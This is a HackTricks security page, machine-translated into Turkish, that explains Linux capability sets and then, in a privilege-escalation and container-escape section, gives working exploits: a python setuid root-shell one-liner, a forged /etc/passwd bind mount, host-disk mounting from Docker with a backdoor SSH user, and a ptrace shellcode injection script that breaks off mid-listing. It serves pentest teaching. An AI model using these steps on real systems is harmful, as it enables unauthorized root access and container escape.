Linux Capabilities

Support HackTricks

​​​​​​​​​RootedCON en ilgili siber güvenlik etkinliğidir İspanya'da ve Avrupa'nın en önemli etkinliklerinden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.\

Linux Capabilities

Linux yetenekleri root ayrıcalıklarını daha küçük, belirgin birimlere böler, süreçlerin bir ayrıcalık alt kümesine sahip olmasına olanak tanır. Bu, tam root ayrıcalıklarını gereksiz yere vermeyerek riskleri en aza indirir.

Problem:

  • Normal kullanıcıların sınırlı izinleri vardır, bu da root erişimi gerektiren bir ağ soketi açma gibi görevleri etkiler.

Yetenek Setleri:

  1. Inherited (CapInh):

  • Amaç: Ebeveyn süreçten devredilen yetenekleri belirler.

  • Fonksiyon: Yeni bir süreç oluşturulduğunda, bu setten ebeveyninden yetenekleri devralır. Süreç oluşturma sırasında belirli ayrıcalıkları korumak için yararlıdır.

  • Kısıtlamalar: Bir süreç, ebeveyninin sahip olmadığı yetenekleri kazanamaz.

  1. Effective (CapEff):

  • Amaç: Bir sürecin herhangi bir anda kullandığı gerçek yetenekleri temsil eder.

  • Fonksiyon: Çeşitli işlemler için izin vermek üzere çekirdek tarafından kontrol edilen yetenekler setidir. Dosyalar için, bu set dosyanın izin verilen yeteneklerinin etkili sayılıp sayılmayacağını belirten bir bayrak olabilir.

  • Önemi: Etkili set, anlık ayrıcalık kontrolleri için kritik öneme sahiptir ve bir sürecin kullanabileceği aktif yetenekler seti olarak işlev görür.

  1. Permitted (CapPrm):

  • Amaç: Bir sürecin sahip olabileceği maksimum yetenek setini tanımlar.

  • Fonksiyon: Bir süreç, izin verilen setten bir yeteneği etkili setine yükseltebilir, bu da ona o yeteneği kullanma yetkisi verir. Ayrıca, izin verilen setinden yetenekleri düşürebilir.

  • Sınır: Bir sürecin sahip olabileceği yetenekler için üst sınır olarak işlev görür ve bir sürecin önceden tanımlanmış ayrıcalık kapsamını aşmadığından emin olur.

  1. Bounding (CapBnd):

  • Amaç: Bir sürecin yaşam döngüsü boyunca edinebileceği yetenekler için bir tavan koyar.

  • Fonksiyon: Bir süreç, miras alınabilir veya izin verilen setinde belirli bir yeteneğe sahip olsa bile, o yeteneği yalnızca sınır setinde de varsa edinebilir.

  • Kullanım durumu: Bu set, bir sürecin ayrıcalık yükseltme potansiyelini kısıtlamak için özellikle yararlıdır ve ek bir güvenlik katmanı ekler.

  1. Ambient (CapAmb):

  • Amaç: Belirli yeteneklerin execve sistem çağrısı sırasında korunmasına izin verir; bu genellikle sürecin yeteneklerinin tamamen sıfırlanmasına neden olur.

  • Fonksiyon: İlgili dosya yeteneklerine sahip olmayan SUID olmayan programların belirli ayrıcalıkları korumasını sağlar.

  • Kısıtlamalar: Bu set içindeki yetenekler, miras alınabilir ve izin verilen setlerin kısıtlamalarına tabidir, böylece sürecin izin verilen ayrıcalıklarını aşmazlar.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Daha fazla bilgi için kontrol edin:

Süreçler & İkili Dosyalar Yetenekleri

Süreçler Yetenekleri

Belirli bir sürecin yeteneklerini görmek için /proc dizinindeki status dosyasını kullanın. Daha fazla ayrıntı sağladığı için, bunu yalnızca Linux yetenekleri ile ilgili bilgilere sınırlayalım. Tüm çalışan süreçler için yetenek bilgisi her bir iş parçacığı için korunur, dosya sistemindeki ikili dosyalar için ise genişletilmiş niteliklerde saklanır.

Yetenekleri /usr/include/linux/capability.h dosyasında bulabilirsiniz.

Mevcut sürecin yeteneklerini cat /proc/self/status komutunu kullanarak veya capsh --print komutunu çalıştırarak ve diğer kullanıcıların yeteneklerini /proc/<pid>/status dosyasında bulabilirsiniz.

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Bu komut, çoğu sistemde 5 satır döndürmelidir.

  • CapInh = Miras alınan yetenekler

  • CapPrm = İzin verilen yetenekler

  • CapEff = Etkili yetenekler

  • CapBnd = Sınır seti

  • CapAmb = Ortam yetenekleri seti

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Bu onaltılık sayılar mantıklı değil. capsh aracını kullanarak bunları yetenek adlarına çözebiliriz.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Şimdi ping tarafından kullanılan capabilities'leri kontrol edelim:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Although that works, there is another and easier way. To see the capabilities of a running process, simply use the getpcaps tool followed by its process ID (PID). You can also provide a list of process IDs.

Bunun işe yaradığını bilsek de, başka ve daha kolay bir yol var. Çalışan bir sürecin yeteneklerini görmek için, getpcaps aracını kullanarak ardından süreç kimliğini (PID) yazmanız yeterlidir. Ayrıca bir süreç kimliği listesi de verebilirsiniz.

getpcaps 1234

Burada tcpdump'ın yeteneklerini kontrol edelim, ikili dosyaya yeterli yetenekler (cap_net_admin ve cap_net_raw) verildikten sonra ağ dinlemesi için (tcpdump işlem 9562'de çalışıyor):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Görüldüğü gibi, verilen yetenekler, bir ikili dosyanın yeteneklerini elde etmenin 2 yolunun sonuçlarıyla örtüşmektedir. getpcaps aracı, belirli bir iş parçacığı için mevcut yetenekleri sorgulamak üzere capget() sistem çağrısını kullanır. Bu sistem çağrısı, daha fazla bilgi almak için yalnızca PID sağlamayı gerektirir.

İkili Dosyaların Yetenekleri

İkili dosyalar, yürütme sırasında kullanılabilecek yeteneklere sahip olabilir. Örneğin, cap_net_raw yeteneğine sahip ping ikili dosyasını bulmak oldukça yaygındır:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Becerilere sahip ikili dosyaları aramak için şunu kullanabilirsiniz:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

Eğer ping için CAP_NET_RAW yetkilerini düşürürsek, ping aracı artık çalışmamalıdır.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Bunun yanı sıra, capsh çıktısının yanı sıra, tcpdump komutu da bir hata vermelidir.

/bin/bash: /usr/sbin/tcpdump: İşlem izin verilmedi

Hata, ping komutunun bir ICMP soketi açmasına izin verilmediğini açıkça gösteriyor. Artık bunun beklendiği gibi çalıştığını kesin olarak biliyoruz.

Yetenekleri Kaldırma

Bir ikili dosyanın yeteneklerini kaldırabilirsiniz.

setcap -r </path/to/binary>

Kullanıcı Yetenekleri

Görünüşe göre yetenekler kullanıcılarla da atanabilir. Bu muhtemelen, kullanıcının yürüttüğü her sürecin kullanıcı yeteneklerini kullanabileceği anlamına geliyor. Buna dayanarak bu, bu ve bu birkaç dosyanın yapılandırılması gerekiyor, böylece bir kullanıcıya belirli yetenekler verilebilir, ancak yetenekleri her kullanıcıya atayan dosya /etc/security/capability.conf olacaktır. Dosya örneği:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Çevre Yetenekleri

Aşağıdaki programı derleyerek yetenekler sağlayan bir ortamda bir bash shell başlatmak mümkündür.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Derlenmiş ortam ikili dosyası tarafından yürütülen bash içinde yeni yeteneklerin gözlemlenmesi mümkündür (normal bir kullanıcının "mevcut" bölümde herhangi bir yeteneği olmayacaktır).

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Sadece hem izin verilen hem de miras alınan setlerde bulunan yetenekleri ekleyebilirsiniz.

Yetenek farkında/Yetenek cahil ikili dosyalar

Yetenek farkında ikili dosyalar, ortam tarafından verilen yeni yetenekleri kullanmayacaktır, ancak yetenek cahil ikili dosyalar bunları reddetmeyecekleri için kullanacaktır. Bu, yetenek cahil ikili dosyaları, ikili dosyalara yetenekler veren özel bir ortamda savunmasız hale getirir.

Hizmet Yetenekleri

Varsayılan olarak, root olarak çalışan bir hizmet tüm yetenekleri atayacaktır, ve bazı durumlarda bu tehlikeli olabilir. Bu nedenle, bir hizmet yapılandırma dosyası, hizmetin sahip olmasını istediğiniz yetenekleri ve hizmeti çalıştırması gereken kullanıcıyı belirtmenize olanak tanır, böylece gereksiz ayrıcalıklara sahip bir hizmet çalıştırmaktan kaçınılır:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Docker Konteynerlerinde Yetenekler

Varsayılan olarak Docker, konteynerlere birkaç yetenek atar. Bu yeteneklerin hangileri olduğunu kontrol etmek çok kolaydır:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

Privesc/Konteyner Kaçışı

Yetkiler, ayrıcalıklı işlemler gerçekleştirdikten sonra kendi süreçlerinizi kısıtlamak istediğinizde (örneğin, chroot kurduktan ve bir sokete bağlandıktan sonra) faydalıdır. Ancak, kötü niyetli komutlar veya argümanlar geçirerek istismar edilebilir ve bu komutlar root olarak çalıştırılır.

setcap kullanarak programlara yetki zorlayabilir ve bunları getcap ile sorgulayabilirsiniz:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep demek, yeteneği ekliyorsunuz (“-” bunu kaldırır) Etkili ve İzinli olarak.

Bir sistemde veya klasörde yeteneklere sahip programları tanımlamak için:

getcap -r / 2>/dev/null

Sömürü örneği

Aşağıdaki örnekte, ikili dosya /usr/bin/python2.6 privesc için savunmasız bulunmuştur:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Herhangi bir kullanıcının paketleri dinlemesine izin vermek için tcpdump tarafından gereken Yetenekler:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

"Boş" yeteneklerin özel durumu

Belgelerden: Boş yetenek setlerinin bir program dosyasına atanabileceğini unutmayın, bu nedenle etkili ve kaydedilmiş set-kullanıcı-ID'sini 0 olarak değiştiren bir set-kullanıcı-ID-root programı oluşturmak mümkündür, ancak bu sürece hiçbir yetenek kazandırmaz. Ya da basitçe ifade etmek gerekirse, eğer bir ikili dosyanız varsa:

  1. root tarafından sahiplenilmemiş

  2. SUID/SGID bitleri ayarlanmamış

  3. boş yetenek setine sahip (örneğin: getcap myelf myelf =ep döner)

o zaman o ikili dosya root olarak çalışacaktır.

CAP_SYS_ADMIN

CAP_SYS_ADMIN, geniş yönetim ayrıcalıkları nedeniyle genellikle neredeyse root seviyesine eşitlenen son derece güçlü bir Linux yeteneğidir; örneğin, cihazları monte etme veya çekirdek özelliklerini manipüle etme gibi. Tüm sistemleri simüle eden konteynerler için vazgeçilmez olsa da, CAP_SYS_ADMIN önemli güvenlik zorlukları ortaya çıkarır, özellikle ayrıcalık yükseltme ve sistemin tehlikeye atılma potansiyeli nedeniyle konteynerleştirilmiş ortamlarda. Bu nedenle, kullanımı sıkı güvenlik değerlendirmeleri ve dikkatli yönetim gerektirir; uygulama özel konteynerlerde bu yeteneğin bırakılması, en az ayrıcalık ilkesi ile uyum sağlamak ve saldırı yüzeyini en aza indirmek için güçlü bir tercih olmalıdır.

İkili dosya ile örnek

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Python kullanarak gerçek passwd dosyasının üzerine değiştirilmiş bir passwd dosyası monte edebilirsiniz:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

Ve nihayet mount edilmiş passwd dosyasını /etc/passwd üzerine:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

Ve "password" şifresi ile su olarak root olabileceksiniz.

Ortam ile örnek (Docker breakout)

Docker konteyneri içinde etkinleştirilen yetenekleri kontrol edebilirsiniz:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

İlk çıktıda SYS_ADMIN yetkisinin etkin olduğunu görebilirsiniz.

  • Mount

Bu, docker konteynerinin ana makine diskini bağlamasına ve buna serbestçe erişmesine olanak tanır:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Tam erişim

Önceki yöntemde docker ana bilgisayar diskine erişmeyi başardık. Eğer ana bilgisayarın bir ssh sunucusu çalıştığını bulursanız, docker ana bilgisayar diskinde bir kullanıcı oluşturabilir ve buna SSH üzerinden erişebilirsiniz:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Bu, bir shellcode'u ana makinede çalışan bir süreç içine enjekte ederek konteynerden çıkabileceğiniz anlamına gelir. Ana makinede çalışan süreçlere erişmek için konteynerin en az --pid=host ile çalıştırılması gerekir.

CAP_SYS_PTRACE, ptrace(2) tarafından sağlanan hata ayıklama ve sistem çağrısı izleme işlevlerini kullanma yeteneğini ve process_vm_readv(2) ve process_vm_writev(2) gibi bellekler arası ekleme çağrılarını kullanma yeteneğini verir. Hata ayıklama ve izleme amaçları için güçlü olmasına rağmen, CAP_SYS_PTRACE kısıtlayıcı önlemler olmadan, örneğin ptrace(2) üzerinde bir seccomp filtresi olmadan etkinleştirildiğinde, sistem güvenliğini önemli ölçüde zayıflatabilir. Özellikle, diğer güvenlik kısıtlamalarını, özellikle seccomp tarafından dayatılanları aşmak için sömürülebilir; bu, bu tür kanıtlar (PoC) ile gösterilmiştir.

Binary ile örnek (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.